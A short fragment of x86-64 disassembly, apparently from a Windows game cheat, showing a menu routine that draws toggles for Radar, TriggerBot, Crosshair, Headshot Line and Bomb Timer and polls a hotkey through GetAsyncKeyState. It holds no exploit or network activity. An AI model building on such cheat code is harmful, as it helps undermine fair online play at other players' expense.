movzx edx, byte [0x140173a5e]
lea rcx, str.Radar
call fcn.1400092c0
movzx eax, byte [0x140173a54]
test eax, eax
je 0x1400093fe
movzx eax, byte [0x140173a59]
test eax, eax
jne 0x1400093f2
mov ecx, dword [0x140173a80]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x1400093fe
lea rcx, str.TriggerBot__Toggle_
call fcn.1400829b0
movzx edx, byte [0x140173a93]
lea rcx, str.Crosshair
call fcn.1400092c0
movzx edx, byte [0x140173a58]
lea rcx, str.Headshot_Line
call fcn.1400092c0
movzx edx, byte [0x140173a72]
lea rcx, str.Bomb_Timer
call fcn.1400092c0
call fcn.140043120
nop
add rsp, 0x38
ret